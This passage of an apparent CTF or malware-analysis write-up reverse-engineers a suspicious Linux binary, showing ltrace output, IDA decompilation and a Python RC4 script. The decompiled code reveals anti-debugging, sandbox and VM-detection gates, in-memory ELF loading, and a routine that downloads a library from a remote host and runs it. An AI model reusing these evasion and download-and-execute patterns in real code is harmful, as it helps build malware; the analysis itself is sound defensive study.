strcmp(".note.ABI-tag", ".init.constructors.global")                                                                     = 5
strcmp(".gnu.hash", ".init.constructors.global")                                                                         = -2
strcmp(".dynsym", ".init.constructors.global")                                                                           = -5
strcmp(".dynstr", ".init.constructors.global")                                                                           = -5
strcmp(".gnu.version", ".init.constructors.global")                                                                      = -2
strcmp(".gnu.version_r", ".init.constructors.global")                                                                    = -2
strcmp(".rela.dyn", ".init.constructors.global")                                                                         = 9
strcmp(".rela.plt", ".init.constructors.global")                                                                         = 9
strcmp(".init", ".init.constructors.global")                                                                             = -46
strcmp(".plt", ".init.constructors.global")                                                                              = 7
strcmp(".plt.got", ".init.constructors.global")                                                                          = 7
strcmp(".plt.sec", ".init.constructors.global")                                                                          = 7
strcmp(".text", ".init.constructors.global")                                                                             = 11
strcmp(".fini", ".init.constructors.global")                                                                             = -3
strcmp(".rodata", ".init.constructors.global")                                                                           = 9
strcmp(".eh_frame_hdr", ".init.constructors.global")                                                                     = -4
strcmp(".eh_frame", ".init.constructors.global")                                                                         = -4
strcmp(".init_array", ".init.constructors.global")                                                                       = 49
strcmp(".fini_array", ".init.constructors.global")                                                                       = -3
strcmp(".data.rel.ro", ".init.constructors.global")                                                                      = -5
strcmp(".dynamic", ".init.constructors.global")                                                                          = -5
strcmp(".got", ".init.constructors.global")                                                                              = -2
strcmp(".data", ".init.constructors.global")                                                                             = -5
strcmp(".bss_secure_buffer", ".init.constructors.global")                                                                = -7
strcmp(".init.checksum.validation", ".init.constructors.global")                                                         = -7
strcmp(".init.constructors.global", ".init.constructors.global")                                                         = 0
calloc(1, 16785)                                                                                                         = 0x55e16713ede0
__memcpy_chk(0x55e16713ede0, 0x55e16713a27e, 0x4191, 0x4191)                                                             = 0x55e16713ede0
free(0x55e1671179c0)                                                                                                     = <void>
fclose(0x55e167116040)                                                                                                   = 0
free(0x55e167116010)                                                                                                     = <void>
calloc(1, 19)                                                                                                            = 0x55e1671169b0
fopen("./suspicious", "r")                                                                                               = 0x55e167116040
fseek(0x55e167116040, 0, SEEK_END)                                                                                       = 0
ftell(0x55e167116040)                                                                                                    = 160792
fseek(0x55e167116040, 0, SEEK_SET)                                                                                       = 0
calloc(1, 160792)                                                                                                        = 0x55e167142f80
fread(0x55e167142f80, 1, 160792, 0x55e167116040)                                                                         = 160792
strcmp(".interp", ".bss_secure_buffer")                                                                                  = 7
strcmp(".note.gnu.property", ".bss_secure_buffer")                                                                       = 12
strcmp(".note.gnu.build-id", ".bss_secure_buffer")                                                                       = 12
strcmp(".note.ABI-tag", ".bss_secure_buffer")                                                                            = 12
strcmp(".gnu.hash", ".bss_secure_buffer")                                                                                = 5
strcmp(".dynsym", ".bss_secure_buffer")                                                                                  = 2
strcmp(".dynstr", ".bss_secure_buffer")                                                                                  = 2
strcmp(".gnu.version", ".bss_secure_buffer")                                                                             = 5
strcmp(".gnu.version_r", ".bss_secure_buffer")                                                                           = 5
strcmp(".rela.dyn", ".bss_secure_buffer")                                                                                = 16
strcmp(".rela.plt", ".bss_secure_buffer")                                                                                = 16
strcmp(".init", ".bss_secure_buffer")                                                                                    = 7
strcmp(".plt", ".bss_secure_buffer")                                                                                     = 14
strcmp(".plt.got", ".bss_secure_buffer")                                                                                 = 14
strcmp(".plt.sec", ".bss_secure_buffer")                                                                                 = 14
strcmp(".text", ".bss_secure_buffer")                                                                                    = 18
strcmp(".fini", ".bss_secure_buffer")                                                                                    = 4
strcmp(".rodata", ".bss_secure_buffer")                                                                                  = 16
strcmp(".eh_frame_hdr", ".bss_secure_buffer")                                                                            = 3
strcmp(".eh_frame", ".bss_secure_buffer")                                                                                = 3
strcmp(".init_array", ".bss_secure_buffer")                                                                              = 7
strcmp(".fini_array", ".bss_secure_buffer")                                                                              = 4
strcmp(".data.rel.ro", ".bss_secure_buffer")                                                                             = 2
strcmp(".dynamic", ".bss_secure_buffer")                                                                                 = 2
strcmp(".got", ".bss_secure_buffer")                                                                                     = 5
strcmp(".data", ".bss_secure_buffer")                                                                                    = 2
strcmp(".bss_secure_buffer", ".bss_secure_buffer")                                                                       = 0
calloc(1, 1658)                                                                                                          = 0x55e1671179e0
__memcpy_chk(0x55e1671179e0, 0x55e167165018, 1658, 1658)                                                                 = 0x55e1671179e0
free(0x55e167142f80)                                                                                                     = <void>
fclose(0x55e167116040)                                                                                                   = 0
ptrace(0, 0, 1, 0)                                                                                                       = -1
ptrace(17, 0, 1, 0)                                                                                                      = -1
calloc(1, 33570)                                                                                                         = 0x55e167118070
aligned_alloc(64, 0xa4c0, 0xa4c0, 0x55e1575598b0)                                                                        = 0x55e1671203c0
memset(0x55e167118078, '\0', 8)                                                                                          = 0x55e167118078
memset(0x55e1671180b6, '\0', 26)                                                                                         = 0x55e1671180b6
memset(0x55e1671182ae, '\0', 42)                                                                                         = 0x55e1671182ae
memset(0x55e167119014, '\0', 12)                                                                                         = 0x55e167119014
memset(0x55e16711bce0, '\0', 8)                                                                                          = 0x55e16711bce0
memset(0x55e16711bda0, '\0', 8)                                                                                          = 0x55e16711bda0
memset(0x55e16711cd76, '\0', 258)                                                                                        = 0x55e16711cd76
memset(0x55e16711ce78, '\0', 258)                                                                                        = 0x55e16711ce78
memset(0x55e16711cf7a, '\0', 246)                                                                                        = 0x55e16711cf7a
memset(0x55e16711ed53, '\377', 6)                                                                                        = 0x55e16711ed53
realloc(0x55e167118070, 41962)                                                                                           = 0x55e16712a890
memcpy(0x55e167132bb2, "\377H\211\321\272", 5)                                                                           = 0x55e167132bb2
memset(0x55e167133f27, '\220', 3)                                                                                        = 0x55e167133f27
memset(0x55e167134172, '\0', 258)                                                                                        = 0x55e167134172
memset(0x55e167134274, '\0', 258)                                                                                        = 0x55e167134274
memset(0x55e167134376, '\0', 258)                                                                                        = 0x55e167134376
memset(0x55e167134478, '\0', 258)                                                                                        = 0x55e167134478
memset(0x55e16713457a, '\0', 258)                                                                                        = 0x55e16713457a
memset(0x55e16713467c, '\0', 258)                                                                                        = 0x55e16713467c
memset(0x55e16713477e, '\0', 258)                                                                                        = 0x55e16713477e
memset(0x55e167134880, '\0', 16)                                                                                         = 0x55e167134880
memcpy(0x55e167134b79, "\345\377\377", 3)                                                                                = 0x55e167134b79
memcpy(0x55e167134b89, "\346\377\377", 3)                                                                                = 0x55e167134b89
memcpy(0x55e167134b91, "\350\377\377", 3)                                                                                = 0x55e167134b91
memcpy(0x55e167134b95, "\v\0\0", 3)                                                                                      = 0x55e167134b95
memcpy(0x55e167134b99, "\353\377\377", 3)                                                                                = 0x55e167134b99
memcpy(0x55e167134ba1, "\354\377\377", 3)                                                                                = 0x55e167134ba1
memcpy(0x55e167134ba9, "\355\377\377", 3)                                                                                = 0x55e167134ba9
memcpy(0x55e167134bcd, "\f\0\0", 3)                                                                                      = 0x55e167134bcd
memcpy(0x55e167134bd9, "\357\377\377", 3)                                                                                = 0x55e167134bd9
memcpy(0x55e167134be1, "\360\377\377", 3)                                                                                = 0x55e167134be1
memcpy(0x55e167134bf0, "J\361\377\377", 4)                                                                               = 0x55e167134bf0
memcpy(0x55e167134bf4, "\270\f\0\0", 4)                                                                                  = 0x55e167134bf4
memcpy(0x55e167134bf9, "\362\377\377", 3)                                                                                = 0x55e167134bf9
memcpy(0x55e167134c04, "\0\r\0\0", 4)                                                                                    = 0x55e167134c04
memcpy(0x55e167134c19, "\363\377\377", 3)                                                                                = 0x55e167134c19
memcpy(0x55e167134c51, "\365\377\377L", 4)                                                                               = 0x55e167134c51
memcpy(0x55e167134c60, "l\366\377\377", 4)                                                                               = 0x55e167134c60
realloc(0x55e16712a890, 52452)                                                                                           = 0x55e16712a890
memcpy(0x55e167134c7a, "\377\377", 2)                                                                                    = 0x55e167134c7a
memset(0x55e167135b11, '\0', 258)                                                                                        = 0x55e167135b11
memset(0x55e167135c13, '\0', 258)                                                                                        = 0x55e167135c13
memset(0x55e167135d15, '\0', 258)                                                                                        = 0x55e167135d15
memset(0x55e167135e17, '\0', 258)                                                                                        = 0x55e167135e17
memset(0x55e167135f19, '\0', 258)                                                                                        = 0x55e167135f19
memset(0x55e16713601b, '\0', 258)                                                                                        = 0x55e16713601b
memset(0x55e16713611d, '\0', 258)                                                                                        = 0x55e16713611d
memset(0x55e16713621f, '\0', 258)                                                                                        = 0x55e16713621f
memset(0x55e167136321, '\0', 258)                                                                                        = 0x55e167136321
memset(0x55e167136423, '\0', 258)                                                                                        = 0x55e167136423
memset(0x55e167136525, '\0', 258)                                                                                        = 0x55e167136525
memset(0x55e167136627, '\0', 25)                                                                                         = 0x55e167136627
memset(0x55e1671371a0, '\0', 8)                                                                                          = 0x55e1671371a0
memset(0x55e1671373f0, '\0', 8)                                                                                          = 0x55e1671373f0
realloc(0x55e16712a890, 65565)                                                                                           = 0x55e16712a890
memcpy(0x55e167137574, "\0\0\0\0", 4)                                                                                    = 0x55e167137574
memcpy(0x55e167137759, "\001\0\0\0\0\0\0\0\0\0\0\0\0\0\0\001\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 31)                         = 0x55e167137759
free(0x55e1671203c0)                                                                                                     = <void>
memfd_create(0x55e157568061, 0, 0, 0x55e16712a880)                                                                       = 3
write(3, "\177ELF\002\001\001", 52968)                                                                                   = 52968
calloc(1, 15)                                                                                                            = 0x55e1671169d0
calloc(1, 25)                                                                                                            = 0x55e167116010
__snprintf_chk("/proc/self/fd/3", 25, 2, 25, "%s%d", "/proc/self/fd/", 3)                                                = 15
dlopen("/proc/self/fd/3", 1)                                                                                             = 0x55e167116a10
dlsym(0x55e167116a10, "run")                                                                                             = 0x7f580df86d65
free(0x55e1671169d0)                                                                                                     = <void>
free(0x55e167116010)                                                                                                     = <void>
dlclose(0x55e167116a10)                                                                                                  = 0
munmap(0x7f580df8c000, 156)                                                                                              = 0
free(0x55e1671169b0)                                                                                                     = <void>
free(0x55e16713ede0)                                                                                                     = <void>
free(0x55e16712a890)                                                                                                     = <void>
+++ exited (status 0) +++

Ok. Insanely useful. Especially this series of events:

memfd_create(0x55e157568061, 0, 0, 0x55e16712a880)                                                                       = 3
write(3, "\177ELF\002\001\001", 52968)                                                                                   = 52968
calloc(1, 15)                                                                                                            = 0x55e1671169d0
calloc(1, 25)                                                                                                            = 0x55e167116010
__snprintf_chk("/proc/self/fd/3", 25, 2, 25, "%s%d", "/proc/self/fd/", 3)                                                = 15
dlopen("/proc/self/fd/3", 1)                                                                                             = 0x55e167116a10
dlsym(0x55e167116a10, "run")                                                                                             = 0x7f580df86d65
free(0x55e1671169d0)                                                                                                     = <void>

Namely, dlsym(0x55e167116a10, "run") - it calls a run function, meaning it must be an available export in IDA.

Sure enough, found it.

unsigned __int64 run()
{
  _BYTE v2[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+108h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sub_7C8E(v2, "skibidi", 7);
  if ( (unsigned __int8)sub_8574(v2) == 1
    && (unsigned __int8)sub_8666(v2) == 1
    && (unsigned __int8)sub_86F8() == 1
    && (unsigned __int8)sub_8771() == 1
    && (unsigned __int8)sub_8795(v2) == 1
    && (unsigned __int8)sub_8A0F(v2) == 1 )
  {
    sub_7F5D(v2);
  }
  return v3 - __readfsqword(0x28u);
}
  1. A gigantic if statement here verifying a ton of things before ultimately running sub_7F5D(v2);.
  2. buddy boy. that thing on line 7.

For that final subroutine, let’s check it out:

__int64 __fastcall sub_7F5D(__int64 a1)
{
  unsigned int v1; // ebx
  const char *v2; // rsi
  size_t v3; // rbx
  const void *v4; // rax
  const char *v5; // rax
  const char *v6; // rax
  int fd; // [rsp+14h] [rbp-79Ch]
  ssize_t v9; // [rsp+18h] [rbp-798h]
  void *handle; // [rsp+20h] [rbp-790h]
  void (__fastcall *v11)(_BYTE *); // [rsp+28h] [rbp-788h]
  struct sockaddr addr; // [rsp+30h] [rbp-780h] BYREF
  _BYTE v13[32]; // [rsp+40h] [rbp-770h] BYREF
  _BYTE v14[32]; // [rsp+60h] [rbp-750h] BYREF
  _BYTE v15[32]; // [rsp+80h] [rbp-730h] BYREF
  _BYTE v16[32]; // [rsp+A0h] [rbp-710h] BYREF
  _BYTE v17[32]; // [rsp+C0h] [rbp-6F0h] BYREF
  _BYTE v18[32]; // [rsp+E0h] [rbp-6D0h] BYREF
  _BYTE v19[32]; // [rsp+100h] [rbp-6B0h] BYREF
  _BYTE v20[112]; // [rsp+120h] [rbp-690h] BYREF
  _BYTE v21[248]; // [rsp+190h] [rbp-620h] BYREF
  __int64 v22; // [rsp+288h] [rbp-528h] BYREF
  char buf[1032]; // [rsp+390h] [rbp-420h] BYREF
  unsigned __int64 v24; // [rsp+798h] [rbp-18h]

  v24 = __readfsqword(0x28u);
  fd = socket(2, 1, 0);
  if ( fd >= 0 )
  {
    sub_7EFF(v13, &unk_D618, 12, a1);
    *(_QWORD *)&addr.sa_family = 2;
    *(_QWORD *)&addr.sa_data[6] = 0;
    *(_WORD *)addr.sa_data = htons(0x1F90u);
    v2 = (const char *)std::string::c_str(v13);
    if ( inet_pton(2, v2, &addr.sa_data[2]) > 0 )
    {
      if ( connect(fd, &addr, 0x10u) >= 0 )
      {
        sub_7EFF(v14, &unk_D630, 20, a1);
        std::operator+<char>(v21, v14, "\r\n\r\n");
        std::string::operator=(v14, v21);
        std::string::~string(v21);
        v3 = std::string::length(v14);
        v4 = (const void *)std::string::c_str(v14);
        send(fd, v4, v3, 0);
        sub_7EFF(v15, &unk_D644, 5, a1);
        sub_7EFF(v16, &unk_D649, 1, a1);
        sub_7EFF(v17, &unk_D650, 16, a1);
        std::operator+<char>(v21, v15, v16);
        std::operator+<char>(v18, v21, v17);
        std::string::~string(v21);
        std::ofstream::basic_ofstream(v21, v18, 4);
        if ( (unsigned __int8)std::ios::operator!(&v22) )
        {
          close(fd);
          v1 = 0;
        }
        else
        {
          while ( 1 )
          {
            v9 = recv(fd, buf, 0x400u, 0);
            if ( v9 <= 0 )
              break;
            std::ostream::write((std::ostream *)v21, buf, v9);
          }
          if ( v9 >= 0 )
          {
            std::ofstream::close(v21);
            close(fd);
            v5 = (const char *)std::string::c_str(v18);
            handle = dlopen(v5, 258);
            if ( handle )
            {
              sub_7EFF(v19, &unk_D660, 14, a1);
              v6 = (const char *)std::string::c_str(v19);
              v11 = (void (__fastcall *)(_BYTE *))dlsym(handle, v6);
              if ( v11 )
              {
                Comms::Comms((Comms *)v20);
                v11(v20);
                dlclose(handle);
                v1 = 1;
                Comms::~Comms((Comms *)v20);
              }
              else
              {
                dlclose(handle);
                v1 = 0;
              }
              std::string::~string(v19);
            }
            else
            {
              v1 = 0;
            }
          }
          else
          {
            std::ofstream::close(v21);
            close(fd);
            v1 = 0;
          }
        }
        std::ofstream::~ofstream(v21);
        std::string::~string(v18);
        std::string::~string(v17);
        std::string::~string(v16);
        std::string::~string(v15);
        std::string::~string(v14);
      }
      else
      {
        close(fd);
        v1 = 0;
      }
    }
    else
    {
      close(fd);
      v1 = 0;
    }
    std::string::~string(v13);
  }
  else
  {
    return 0;
  }
  return v1;
}

Looks really complicated and would take a looong time to manually dig through. I’m gonna try patching those if gates and just running it. Tracing it at that point will make it crystal clear.

First off, what even is that skibidi thing?

__int64 __fastcall sub_7C8E(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  int v5; // [rsp+24h] [rbp-Ch]
  int i; // [rsp+28h] [rbp-8h]
  int j; // [rsp+2Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
    *(_BYTE *)(a1 + i) = i;
  v5 = 0;
  for ( j = 0; j <= 255; ++j )
  {
    v5 = (*(unsigned __int8 *)(a1 + j) + v5 + *(unsigned __int8 *)(j % a3 + a2)) % 256;
    std::swap<unsigned char>(j + a1, a1 + v5);
  }
  *(_DWORD *)(a1 + 256) = 0;
  *(_DWORD *)(a1 + 260) = 0;
  return a1;
}

This is an RC4 key scheduler function that initializes the ability to encrypt and decrypt data using the hardcoded key skibidi.

The first gate (below) looks to be a file existence check. Perhaps this is the PDF from earlier? This one should pass.

_BOOL8 __fastcall sub_8574(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  char v6; // bl
  _BYTE v8[32]; // [rsp+10h] [rbp-60h] BYREF
  _BYTE v9[40]; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  sub_7EFF((__int64)v8, (__int64)&unk_D580, 38, a1, a5, a6);
  std::filesystem::__cxx11::path::path<std::string,std::filesystem::__cxx11::path>(v9, v8, 2);
  v6 = std::filesystem::exists((std::filesystem *)v9, (const std::filesystem::__cxx11::path *)v8);
  std::filesystem::__cxx11::path::~path((std::filesystem::__cxx11::path *)v9);
  std::string::~string(v8);
  return v6 != 0;
}

Gate 2:

_BOOL8 __fastcall sub_8666(__int64 a1)
{
  const char *v1; // rax
  _BOOL4 v2; // ebx
  _BYTE v4[40]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+48h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  sub_7EFF(v4, &unk_D5B0, 17, a1);
  v1 = (const char *)std::string::c_str(v4);
  v2 = getenv(v1) != 0;
  std::string::~string(v4);
  return v2;
}

Many of the subroutines call sub_7EFF(), and from the looks of it, it’s the RC4 Decryptor. And it’s trying to decrypt unk_D5B0 based on RC4_decryptor(v4, &unk_D5B0, 17, a1);.

Finding it in IDA:

.data:000000000000D5B0 unk_D5B0        db 0D2h                 ; DATA XREF: sub_8666+30↑o
.data:000000000000D5B1                 db  38h ; 8
.data:000000000000D5B2                 db 0BDh
.data:000000000000D5B3                 db  57h ; W
.data:000000000000D5B4                 db  18h
.data:000000000000D5B5                 db  9Eh
.data:000000000000D5B6                 db 0C1h
.data:000000000000D5B7                 db  37h ; 7
.data:000000000000D5B8                 db  5Ah ; Z
.data:000000000000D5B9                 db 0C9h
.data:000000000000D5BA                 db 0B7h
.data:000000000000D5BB                 db 0BFh
.data:000000000000D5BC                 db  93h
.data:000000000000D5BD                 db 0DAh
.data:000000000000D5BE                 db 0D3h
.data:000000000000D5BF                 db  4Bh ; K
.data:000000000000D5C0                 db 0A4h

17 bytes of encrypted nonsense.

I took a pause here and started doing some research on RC4. This post was one amongst many useful readings.

This is where a lot of things start to make sense: RC4 runs based on a keystream of 264 bytes. Going back to the PDF check function, it called RC4_decryptor(v3, &unk_D580, 38, a1);. Meaning that it consumed 38 bytes of the cipher’s keystream. This means that any future decryptions need to start at the 38th index, skipping indices 0-37.

So the keystream, when just generated, would look something like this:

Position: 0    1    2    3    4    5  ...  255
Value:   [143] [7] [219] [84] [12] [201] ... [34]

When gate 1 (PDF check) needed to decrypt its 38-byte path string, it called the Decryptor 38 times. Each call:

  1. Picked two positions in the box using i and j
  2. Swaps those two values
  3. Outputs one keystream byte from the new arrangement

It’s confusing, yeah. But basically, the first 38 bytes are consumed specifically to decrypt the PDF checker’s stored text. The next 17 bytes are specifically to decode the next gate’s encrypted string.

        5          10        15        20        25        30        35    38
        |          |         |         |         |         |         |     |
/ o p t /  d a f i n / i n t e l / o p s _ b r i e f _ r e d t e a m . p d f

Let’s run a decrypt Python script to see what that is:

def rc4_ksa( key ):
	S = list( range( 256 ) )
	j = 0

	for i in range( 256 ):
		j = ( j + S[i] + key[i % len( key )] ) % 256
		S[i], S[j] = S[j], S[i]

	return S, 0, 0


def rc4_prga( s, i, j, n ):
	out = []
	for _ in range( n ):
		i = ( i + 1 ) % 256
		j = ( j + s[i] ) % 256
		s[i], s[j] = s[j], s[i]
		out.append(  s[( s [i] + s[j] ) % 256] )

	return bytes( out ), s, i, j


s, i, j = rc4_ksa( b"skibidi" )       # init
_, s, i, j = rc4_prga( s, i, j, 38 )  # consume the first 38 bytes

ct = bytes(
	[
		0xD2, 0x38, 0xBD, 0x57, 0x18, 0x9E, 0xC1, 0x37,	0x5A, 0xC9, 0xB7, 0xBF, 0x93, 0xDA, 0xD3, 0x4B, 0xA4,
	]
 )

ks, s, i, j = rc4_prga( s, i, j, 17 )

print( bytes( a ^ b for a, b in zip( ct, ks ) ).decode() )
$ python3 script.py 
DAFIN_SEC_PROFILE

Looks like an environment variable. Checks to see if that’s there, as there’s a v2 = getenv(v1) != 0; line in the decompiler.

The next gate doesn’t use RC4, so it should be easier.

_BOOL8 sub_86F8()
{
  time_t timer; // [rsp+8h] [rbp-18h] BYREF
  struct tm *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  timer = time(0);
  v2 = localtime(&timer);
  return v2->tm_year == 124;
}

…? It checks if the year is 124. Amazing. I see v2 is a struct tm. Found it online. So tm_year gets the number of years since 1900. This checks if it’s the year 2024. Let’s patch that since this should be an easy fix.

Gotta patch this:

mov     [rbp+var_20], 7E8h       ; 2024   -> change this to 2026 (0x7EA) -> stored as EA 07, replacing E8 07
mov     edi, 0                   ; timer
call    _time
mov     [rbp+timer], rax
lea     rax, [rbp+timer]
mov     rdi, rax                 ; timer
call    _localtime
mov     [rbp+var_10], rax
mov     rax, [rbp+var_10]
mov     eax, [rax+14h]
add     eax, 76Ch                ; add 1900 to tm_year so 124+1900 = 2024
mov     [rbp+var_1C], eax
mov     eax, [rbp+var_1C]
cmp     eax, [rbp+var_20]
jnz     short loc_8756

Alright, the next gate just wants to see if it’s running as sudo:

_BOOL8 sub_8771()
{
  return geteuid() == 0;
}

Advancing…

__int64 __fastcall sub_8795(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v6; // r8
  __int64 v7; // r9
  __int64 v8; // r8
  __int64 v9; // r9
  unsigned int v10; // ebx
  _QWORD *v12; // rax
  _BYTE v14[32]; // [rsp+10h] [rbp-2A0h] BYREF
  _BYTE v15[32]; // [rsp+30h] [rbp-280h] BYREF
  _BYTE v16[32]; // [rsp+50h] [rbp-260h] BYREF
  _BYTE v17[32]; // [rsp+70h] [rbp-240h] BYREF
  _BYTE v18[520]; // [rsp+90h] [rbp-220h] BYREF
  unsigned __int64 v19; // [rsp+298h] [rbp-18h]

  v19 = __readfsqword(0x28u);
  RC4_decryptor((__int64)v14, (__int64)&unk_D5C8, 13, a1, a5, a6);
  RC4_decryptor((__int64)v15, (__int64)&unk_D5D5, 5, a1, v6, v7);
  RC4_decryptor((__int64)v16, (__int64)&unk_D5E0, 10, a1, v8, v9);
  std::ifstream::basic_ifstream(v18, v14, 8);
  if ( (unsigned __int8)std::ifstream::is_open(v18) != 1 )
  {
    v10 = 1;
  }
  else
  {
    std::string::basic_string(v17);
    while ( 1 )
    {
      v12 = (_QWORD *)std::getline<char,std::char_traits<char>,std::allocator<char>>(v18, v17);
      if ( !(unsigned __int8)std::ios::operator bool((char *)v12 + *(_QWORD *)(*v12 - 24LL)) )
        break;
      if ( std::string::find(v17, v15, 0) != -1 && std::string::find(v17, v16, 0) != -1 )
      {
        v10 = 0;
        goto LABEL_12;
      }
    }
    v10 = 1;
LABEL_12:
    std::string::~string(v17);
  }
  std::ifstream::~ifstream(v18);
  std::string::~string(v16);
  std::string::~string(v15);
  std::string::~string(v14);
  return v10;
}

Three calls to RC4_decryptor:

  1. RC4_decryptor( .... &unk_D5C8, 13, ... ); --> v14
  2. RC4_decryptor( ..., &unk_D5D5, 5, ... ); --> v15
  3. RC4_decryptor( ..., &unk_D5E0, 10, ... ); --> v16

Three values of three lengths. Let’s pipe this through the Python script too. First things first: find the encrypted bytes in IDA.

Found them. Let’s append that to the Python script from earlier.

ct_1  = bytes( [ 0xD5, 0x62, 0xFB, 0x65, 0x4A, 0x1A, 0x46, 0x03, 0xBC, 0xF4, 0xAE, 0x73, 0x9E ] )
ct_2  = bytes( [ 0xB4, 0xB2, 0xE4, 0x8E, 0x6D ] )
ct_3  = bytes( [ 0x78, 0xC8, 0x50, 0xA5, 0x17, 0x82, 0x7A, 0xFD, 0xBB, 0x88 ] )

ks, s, i, j = rc4_prga( s, i, j, 17 )
print( bytes( a ^ b for a, b in zip( ct, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 13 )
print( bytes( a ^ b for a, b in zip( ct_1, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 5 )
print( bytes( a ^ b for a, b in zip( ct_2, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 10 )
print( bytes( a ^ b for a, b in zip( ct_3, ks ) ).decode() )
$ python3 crack.py 
DAFIN_SEC_PROFILE
/proc/cpuinfo
flags
hypervisor

Ok off topic but decryption like this is insanely cool.

But we now know that this gate is searching /proc/cpuinfo for substrings flags and hypervisor here:

if( 
	std::string::find(v17, v15, 0) != -1 &&
 	std::string::find(v17, v16, 0) != -1 
) {
	v10 = 0;
	goto LABEL_12;
}

Damn, so this makes sure you’re not in a virtual machine as well. Holy.

The Final Gate:

RC4_decryptor( ..., &unk_D5F0, 31, ... );
RC4_decryptor( ..., a9mt5,      1, ... );
RC4_decryptor( ..., &a9mt5[1],  4, ...);

Three more decryptions.

ct_4  = bytes( [ 0xF3, 0x29, 0x27, 0xC9, 0x62, 0x3A, 0x59, 0x45, 0x15 ,0x5F, 0xBD, 0xD9, 0x75, 0x84, 0x79, 0x7A, 0x5F, 0xAC, 0x1E, 0xA3, 0x30, 0x15, 0x0C, 0xFA, 0x87, 0x0C, 0xC6, 0x3A, 0x26, 0xD9, 0x8B ] )
ct_5  = bytes( [ 0x39, 0x4D, 0x54, 0x26, 0x35 ] )[ :1 ]
ct_6  = bytes( [ 0x39, 0x4D, 0x54, 0x26, 0x35 ] )[ 1: ]

ct_a9mt5 = bytes([0x39,0x4D,0x54,0x26,0x35])

ks, s, i, j = rc4_prga( s, i, j, 31 )
print( bytes( a ^ b for a, b in zip( ct_4, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 1 )
print( bytes( a ^ b for a, b in zip( ct_5, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 4 )
print( bytes( a ^ b for a, b in zip( ct_6, ks ) ).decode() )
$ python3 crack.py 
DAFIN_SEC_PROFILE
/proc/cpuinfo
flags
hypervisor
systemd-detect-virt 2>/dev/null
r
none

So, looking through the code. It runs systemd-detect-virt in r (read) mode and searches for none. Yet another check.

Now, this is the new fully cleaned up main:

unsigned __int64 run() {
	_BYTE rc4_context[264];
	unsigned __int64 v3;

	v3 = __readfsqword(0x28u);

	init_RC4(rc4_context, "skibidi", 7);

	if ( pdf_existence_check( rc4_context ) && 
		check_DAFIN_SEC_PROFILE( rc4_context ) == 1 && 
		check_if_2026() == 1 && 
		check_if_sudo() == 1 && 
		check_if_not_vm( rc4_context ) == 1 && 
		check_if_not_vm_2( rc4_context ) == 1
	) {
		sub_7F5D( rc4_context );
	}

	return v3 - __readfsqword(0x28u);
}

Let’s finally inspect sub_7F5D:

__int64 __fastcall sub_7F5D(__int64 a1) {
	__int64 v1;                      // r8
	__int64 v2;                      // r9
	unsigned int v3;                 // ebx
	const char *v4;                  // rax
	__int64 v5;                      // r8
	__int64 v6;                      // r9
	size_t v7;                       // rbx
	const void *v8;                  // rax
	__int64 v9;                      // r8
	__int64 v10;                     // r9
	__int64 v11;                     // r8
	__int64 v12;                     // r9
	__int64 v13;                     // r8
	__int64 v14;                     // r9
	const char *v15;                 // rax
	__int64 v16;                     // r8
	__int64 v17;                     // r9
	const char *v18;                 // rax
	int fd;                          // [rsp+14h] [rbp-79Ch]
	ssize_t v21;                     // [rsp+18h] [rbp-798h]
	void *handle;                    // [rsp+20h] [rbp-790h]
	void(__fastcall * v23)(_BYTE *); // [rsp+28h] [rbp-788h]
	struct sockaddr addr;            // [rsp+30h] [rbp-780h] BYREF
	_BYTE v25[32];                   // [rsp+40h] [rbp-770h] BYREF
	_BYTE v26[32];                   // [rsp+60h] [rbp-750h] BYREF
	_BYTE v27[32];                   // [rsp+80h] [rbp-730h] BYREF
	_BYTE v28[32];                   // [rsp+A0h] [rbp-710h] BYREF
	_BYTE v29[32];                   // [rsp+C0h] [rbp-6F0h] BYREF
	_BYTE v30[32];                   // [rsp+E0h] [rbp-6D0h] BYREF
	_BYTE v31[32];                   // [rsp+100h] [rbp-6B0h] BYREF
	_BYTE v32[112];                  // [rsp+120h] [rbp-690h] BYREF
	_BYTE v33[248];                  // [rsp+190h] [rbp-620h] BYREF
	__int64 v34;                     // [rsp+288h] [rbp-528h] BYREF
	char buf[1032];                  // [rsp+390h] [rbp-420h] BYREF
	unsigned __int64 v36;            // [rsp+798h] [rbp-18h]

	v36 = __readfsqword(0x28u);
	fd = socket(2, 1, 0);
	if (fd >= 0) {
		RC4_decryptor((__int64)v25, (__int64)&unk_D618, 12, a1, v1, v2);
		*(_QWORD *)&addr.sa_family = 2;
		*(_QWORD *)&addr.sa_data[6] = 0;
		*(_WORD *)addr.sa_data = htons(0x1F90u);
		v4 = (const char *)std::string::c_str(v25);
		if (inet_pton(2, v4, &addr.sa_data[2]) > 0) {
			if (connect(fd, &addr, 0x10u) >= 0) {
				RC4_decryptor((__int64)v26, (__int64)&unk_D630, 20, a1, v5, v6);
				std::operator + <char>(v33, v26, "\r\n\r\n");
				std::string::operator = (v26, v33);
				std::string::~string(v33);
				v7 = std::string::length(v26);
				v8 = (const void *)std::string::c_str(v26);
				send(fd, v8, v7, 0);
				RC4_decryptor((__int64)v27, (__int64)&unk_D644, 5, a1, v9, v10);
				RC4_decryptor((__int64)v28, (__int64)&unk_D649, 1, a1, v11, v12);
				RC4_decryptor((__int64)v29, (__int64)&unk_D650, 16, a1, v13, v14);
				std::operator + <char>(v33, v27, v28);
				std::operator + <char>(v30, v33, v29);
				std::string::~string(v33);
				std::ofstream::basic_ofstream(v33, v30, 4);
